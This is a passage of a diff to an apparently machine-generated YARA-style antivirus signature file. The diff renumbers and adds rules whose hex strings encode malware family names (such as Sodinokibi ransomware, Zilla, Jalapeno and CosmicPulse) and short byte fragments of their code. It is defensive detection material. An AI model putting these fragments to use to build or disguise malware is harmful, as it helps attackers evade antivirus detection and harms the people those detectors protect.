1)*18467) >=2 + +} +rule _InfrastructureShared_3227{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 4e 55 57 21 4d 54 42 00 02 00 1c 01 00 02 7b 0b 00 00 04 08 08 d2 9c 00 08 17 58 0c 08 20 00 01 00 00 fe 04 0d 09 2d e4 00 00 78 49 00 00 02 00 02 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32687,7 +33357,7 @@ rule _InfrastructureShared_3164{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*17744) >=2 } -rule _InfrastructureShared_3165{ +rule _InfrastructureShared_3229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32698,7 +33368,7 @@ rule _InfrastructureShared_3165{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30575) >=2 } -rule _InfrastructureShared_3166{ +rule _InfrastructureShared_3230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32709,7 +33379,7 @@ rule _InfrastructureShared_3166{ ((#a_6c_0 & 1)*16675+(#a_70_1 & 1)*8303) >=2 } -rule _InfrastructureShared_3167{ +rule _InfrastructureShared_3231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32720,7 +33390,7 @@ rule _InfrastructureShared_3167{ ((#a_5f_0 & 1)*16931+(#a_74_1 & 1)*16698) >=2 } -rule _InfrastructureShared_3168{ +rule _InfrastructureShared_3232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32731,7 +33401,7 @@ rule _InfrastructureShared_3168{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*28021) >=2 } -rule _InfrastructureShared_3169{ +rule _InfrastructureShared_3233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32742,7 +33412,7 @@ rule _InfrastructureShared_3169{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*29807) >=2 } -rule _InfrastructureShared_3170{ +rule _InfrastructureShared_3234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32753,7 +33423,7 @@ rule _InfrastructureShared_3170{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14958) >=2 } -rule _InfrastructureShared_3171{ +rule _InfrastructureShared_3235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32764,7 +33434,7 @@ rule _InfrastructureShared_3171{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14958) >=2 } -rule _InfrastructureShared_3172{ +rule _InfrastructureShared_3236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32775,7 +33445,7 @@ rule _InfrastructureShared_3172{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*17722) >=2 } -rule _InfrastructureShared_3173{ +rule _InfrastructureShared_3237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32785,7 +33455,7 @@ rule _InfrastructureShared_3173{ ((#a_77_0 & 1)*19491) >=2 } -rule _InfrastructureShared_3174{ +rule _InfrastructureShared_3238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32796,7 +33466,7 @@ rule _InfrastructureShared_3174{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*27748) >=2 } -rule _InfrastructureShared_3175{ +rule _InfrastructureShared_3239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -32807,7 +33477,7 @@ rule _InfrastructureShared_3175{ ((#a_5f_0 & 1)*25635+(#a_80_1 & 1)*1) >=2 } -rule _InfrastructureShared_3176{ +rule _InfrastructureShared_3240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -32819,7 +33489,7 @@ rule _InfrastructureShared_3176{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22330+(#a_61_2 & 1)*17522) >=2 } -rule _InfrastructureShared_3177{ +rule _InfrastructureShared_3241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -32829,60 +33499,50 @@ rule _InfrastructureShared_3177{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3178{ +rule _InfrastructureShared_3242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 37 30 37 38 30 41 45 39 00 01 00 06 01 34 5f 43 6c 69 63 01 00 0a 01 73 65 72 44 69 61 6c 6f 67 31 01 00 08 01 31 5f 4d 6f 75 73 65 44 00 00 78 49 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //18467 $a_6e_1 = {32 2f 47 47 65 6e 65 72 61 74 6f 72 2e 44 21 64 68 61 00 02 00 0a 01 51 74 35 47 75 69 2e 64 6c 6c 02 00 0b 01 51 74 35 43 6f 72 65 2e 64 6c 6c 00 00 78 49 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 2e 54 42 00 05 00 1c 01 8b c1 d1 e9 83 e0 01 f7 } //22330 - $a_20_2 = {b8 ed 33 c8 83 ef 01 75 ea 85 d2 75 dc 5f 5e 00 00 78 49 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a } //16592 + $a_20_2 = {b8 ed 33 c8 83 ef 01 75 ea 85 d2 75 dc 5f 5e 00 00 78 49 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a } //16592 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22330+(#a_20_2 & 1)*16592) >=3 } -rule _InfrastructureShared_3179{ +rule _InfrastructureShared_3243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 47 65 6e 65 72 61 74 6f 72 2e 44 21 64 68 61 00 02 00 0a 01 51 74 35 47 75 69 2e 64 6c 6c 02 00 0b 01 51 74 35 43 6f 72 65 2e 64 6c 6c 00 00 78 49 00 00 05 00 05 00 01 00 21 23 41 4c 46 } //16675 - $a_6e_1 = {6f 6d 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 2e 54 42 00 05 00 1c 01 8b c1 d1 e9 83 e0 01 f7 d0 40 25 20 83 b8 ed 33 c8 83 ef 01 75 ea 85 d2 75 dc 5f 5e 00 00 78 49 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4f 72 63 75 73 52 41 54 2e 45 41 42 } //21050 + $a_6e_1 = {6f 6d 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 2e 54 42 00 05 00 1c 01 8b c1 d1 e9 83 e0 01 f7 d0 40 25 20 83 b8 ed 33 c8 83 ef 01 75 ea 85 d2 75 dc 5f 5e 00 00 78 49 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 69 6c 65 72 65 70 6d 61 6c 77 } //21050 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*21050) >=4 } -rule _InfrastructureShared_3180{ +rule _InfrastructureShared_3244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 2e 54 42 00 05 00 1c 01 8b c1 d1 e9 83 e0 01 f7 d0 40 25 20 83 b8 ed 33 c8 83 ef 01 75 ea 85 d2 75 dc 5f 5e 00 00 78 49 00 00 05 00 05 00 01 00 21 23 41 4c 46 } //16675 + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 2e 54 42 00 05 00 1c 01 8b c1 d1 e9 83 e0 01 f7 d0 40 25 20 83 b8 ed 33 c8 83 ef 01 75 ea 85 d2 75 dc 5f 5e 00 00 78 49 00 00 05 00 05 00 01 00 21 23 54 45 4c } //16675 condition: ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3181{ +rule _InfrastructureShared_3245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4f 72 63 75 73 52 41 54 2e 45 41 42 50 21 4d 54 42 00 05 00 19 01 06 09 06 09 91 08 09 08 8e 69 5d 91 61 d2 9c 09 17 58 0d 09 06 8e 69 32 e7 00 00 78 49 00 00 05 00 05 00 01 00 21 23 41 4c 46 } //16675 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 69 6c 65 72 65 70 6d 61 6c 77 61 72 65 2e 50 47 46 21 4d 54 42 00 05 00 13 01 c0 d4 08 00 fa f6 ff ff 00 45 30 2c 08 45 02 2c 08 e2 f6 00 00 78 49 00 00 05 00 05 00 } //21539 condition: - ((#a_46_0 & 1)*16675) >=5 + ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_3182{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 68 61 70 61 6b 2e 45 41 45 41 21 4d 54 42 00 05 00 1a 01 8b 4d f4 8b 45 f8 8b 55 f0 03 c1 8a 14 02 41 88 10 89 4d f4 3b 0d dc 94 42 00 00 00 78 49 00 00 05 00 05 00 05 00 21 23 48 53 54 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_3183{ +rule _InfrastructureShared_3246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -32895,7 +33555,7 @@ rule _InfrastructureShared_3183{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28484+(#a_75_2 & 1)*-5501+(#a_49_3 & 1)*0) >=5 } -rule _InfrastructureShared_3184{ +rule _InfrastructureShared_3247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -32905,7 +33565,7 @@ rule _InfrastructureShared_3184{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3185{ +rule _InfrastructureShared_3248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -32915,7 +33575,7 @@ rule _InfrastructureShared_3185{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3186{ +rule _InfrastructureShared_3249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -32925,7 +33585,7 @@ rule _InfrastructureShared_3186{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3187{ +rule _InfrastructureShared_3250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -32935,7 +33595,7 @@ rule _InfrastructureShared_3187{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3188{ +rule _InfrastructureShared_3251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32945,7 +33605,7 @@ rule _InfrastructureShared_3188{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3189{ +rule _InfrastructureShared_3252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32955,7 +33615,7 @@ rule _InfrastructureShared_3189{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3190{ +rule _InfrastructureShared_3253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32965,7 +33625,17 @@ rule _InfrastructureShared_3190{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3191{ +rule _InfrastructureShared_3254{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 6f 6f 6d 46 6f 72 6b 2e 42 21 64 68 61 00 01 00 1b 03 45 33 ff 45 33 c9 45 33 c0 33 d2 b9 42 4d 53 52 48 8b 05 90 01 04 ff 90 90 90 00 00 00 78 4a 00 00 01 00 01 00 01 00 21 23 41 4c } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32975,7 +33645,7 @@ rule _InfrastructureShared_3191{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3192{ +rule _InfrastructureShared_3256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32985,7 +33655,7 @@ rule _InfrastructureShared_3192{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3193{ +rule _InfrastructureShared_3257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32995,7 +33665,7 @@ rule _InfrastructureShared_3193{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3194{ +rule _InfrastructureShared_3258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33005,7 +33675,7 @@ rule _InfrastructureShared_3194{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3195{ +rule _InfrastructureShared_3259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33015,7 +33685,17 @@ rule _InfrastructureShared_3195{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3196{ +rule _InfrastructureShared_3260{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 42 41 21 64 68 61 00 01 00 0e 01 6d 61 63 68 69 6e 65 72 69 65 2e 64 6c 6c 00 00 78 4a 00 00 01 00 01 00 01 00 21 23 41 4c } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33025,7 +33705,7 @@ rule _InfrastructureShared_3196{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3197{ +rule _InfrastructureShared_3262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33035,7 +33715,7 @@ rule _InfrastructureShared_3197{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3198{ +rule _InfrastructureShared_3263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33045,7 +33725,7 @@ rule _InfrastructureShared_3198{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3199{ +rule _InfrastructureShared_3264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33055,7 +33735,7 @@ rule _InfrastructureShared_3199{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3200{ +rule _InfrastructureShared_3265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33065,7 +33745,7 @@ rule _InfrastructureShared_3200{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3201{ +rule _InfrastructureShared_3266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33075,7 +33755,7 @@ rule _InfrastructureShared_3201{ ((#a_5f_0 & 1)*16931) >=1 } -rule _InfrastructureShared_3202{ +rule _InfrastructureShared_3267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33085,7 +33765,7 @@ rule _InfrastructureShared_3202{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3203{ +rule _InfrastructureShared_3268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33095,7 +33775,7 @@ rule _InfrastructureShared_3203{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3204{ +rule _InfrastructureShared_3269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33105,7 +33785,7 @@ rule _InfrastructureShared_3204{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3205{ +rule _InfrastructureShared_3270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33115,7 +33795,7 @@ rule _InfrastructureShared_3205{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3206{ +rule _InfrastructureShared_3271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33125,7 +33805,7 @@ rule _InfrastructureShared_3206{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3207{ +rule _InfrastructureShared_3272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33135,7 +33815,7 @@ rule _InfrastructureShared_3207{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3208{ +rule _InfrastructureShared_3273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33145,7 +33825,7 @@ rule _InfrastructureShared_3208{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3209{ +rule _InfrastructureShared_3274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33155,7 +33835,7 @@ rule _InfrastructureShared_3209{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3210{ +rule _InfrastructureShared_3275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33165,7 +33845,7 @@ rule _InfrastructureShared_3210{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3211{ +rule _InfrastructureShared_3276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33175,7 +33855,7 @@ rule _InfrastructureShared_3211{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3212{ +rule _InfrastructureShared_3277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33185,7 +33865,7 @@ rule _InfrastructureShared_3212{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3213{ +rule _InfrastructureShared_3278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33195,7 +33875,7 @@ rule _InfrastructureShared_3213{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3214{ +rule _InfrastructureShared_3279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33205,7 +33885,7 @@ rule _InfrastructureShared_3214{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3215{ +rule _InfrastructureShared_3280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33215,7 +33895,7 @@ rule _InfrastructureShared_3215{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3216{ +rule _InfrastructureShared_3281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33225,7 +33905,7 @@ rule _InfrastructureShared_3216{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3217{ +rule _InfrastructureShared_3282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33235,7 +33915,7 @@ rule _InfrastructureShared_3217{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3218{ +rule _InfrastructureShared_3283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33245,7 +33925,7 @@ rule _InfrastructureShared_3218{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3219{ +rule _InfrastructureShared_3284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33255,7 +33935,7 @@ rule _InfrastructureShared_3219{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3220{ +rule _InfrastructureShared_3285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33265,7 +33945,7 @@ rule _InfrastructureShared_3220{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3221{ +rule _InfrastructureShared_3286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33275,7 +33955,7 @@ rule _InfrastructureShared_3221{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3222{ +rule _InfrastructureShared_3287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33285,7 +33965,7 @@ rule _InfrastructureShared_3222{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3223{ +rule _InfrastructureShared_3288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33295,7 +33975,7 @@ rule _InfrastructureShared_3223{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3224{ +rule _InfrastructureShared_3289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33305,7 +33985,37 @@ rule _InfrastructureShared_3224{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3225{ +rule _InfrastructureShared_3290{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 56 21 4d 54 42 00 01 00 1a 01 61 13 0b 11 0a 11 0a 60 20 ff ff ff 7f 5f 13 0a 11 0b 11 0b 60 20 ff ff ff 7f 00 00 78 4a 00 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3291{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 52 21 4d 54 42 00 01 00 1c 01 17 59 11 2f 20 f4 08 00 00 95 5f 11 2f 20 19 11 00 00 95 61 58 80 24 00 00 04 7e 24 00 00 78 4a 00 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3292{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 54 21 4d 54 42 00 01 00 1c 01 13 3e 08 11 3e 6d 61 0c 08 20 c0 9d fa 88 06 58 07 58 61 0c 08 20 bb 6d 07 4d 06 61 00 00 78 4a 00 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33315,17 +34025,17 @@ rule _InfrastructureShared_3225{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3226{ +rule _InfrastructureShared_3294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 41 42 21 4d 54 42 00 01 00 1e 03 5b b8 13 8d ff ff 80 34 03 b8 40 3d d6 fa ff ff 75 f4 61 e9 76 90 01 01 ff ff 60 e8 90 00 00 00 78 4a 00 00 01 00 01 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 6e 6e 79 2e 49 44 21 4d 54 42 00 01 00 1e 03 89 45 fc 33 c9 8d 81 90 01 04 8a 10 32 d1 80 f2 90 01 01 41 88 10 81 f9 90 01 04 72 90 00 00 00 78 4a 00 00 01 00 01 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3227{ +rule _InfrastructureShared_3295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33335,7 +34045,7 @@ rule _InfrastructureShared_3227{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3228{ +rule _InfrastructureShared_3296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33345,7 +34055,7 @@ rule _InfrastructureShared_3228{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3229{ +rule _InfrastructureShared_3297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33355,7 +34065,7 @@ rule _InfrastructureShared_3229{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3230{ +rule _InfrastructureShared_3298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33365,7 +34075,7 @@ rule _InfrastructureShared_3230{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3231{ +rule _InfrastructureShared_3299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -33376,40 +34086,50 @@ rule _InfrastructureShared_3231{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*21076) >=1 } -rule _InfrastructureShared_3232{ +rule _InfrastructureShared_3300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_54_0 = {3a 57 6f 72 64 45 78 74 65 6e 73 69 6f 6e 73 00 01 00 12 01 2e 00 64 00 6f 00 63 00 2e 00 64 00 6f 00 63 00 78 00 01 00 12 01 2e 00 64 00 6f 00 63 00 2e 00 64 00 6f 00 63 00 6d 00 00 00 78 4a 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 56 43 43 6c } //18467 - $a_53_1 = {75 62 00 01 00 10 01 81 7d fc 4e e6 40 bb 75 09 c7 45 fc 4f e6 40 bb 01 00 07 00 bf 4e e6 40 bb 3b c7 01 00 0c 00 bf 4e e6 40 bb be 00 00 ff ff 3b c7 00 00 78 4a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 42 41 41 21 4d 54 42 00 02 00 1c 03 8b 44 24 28 c1 ef 05 03 c1 03 } //24933 + $a_53_1 = {75 62 00 01 00 10 01 81 7d fc 4e e6 40 bb 75 09 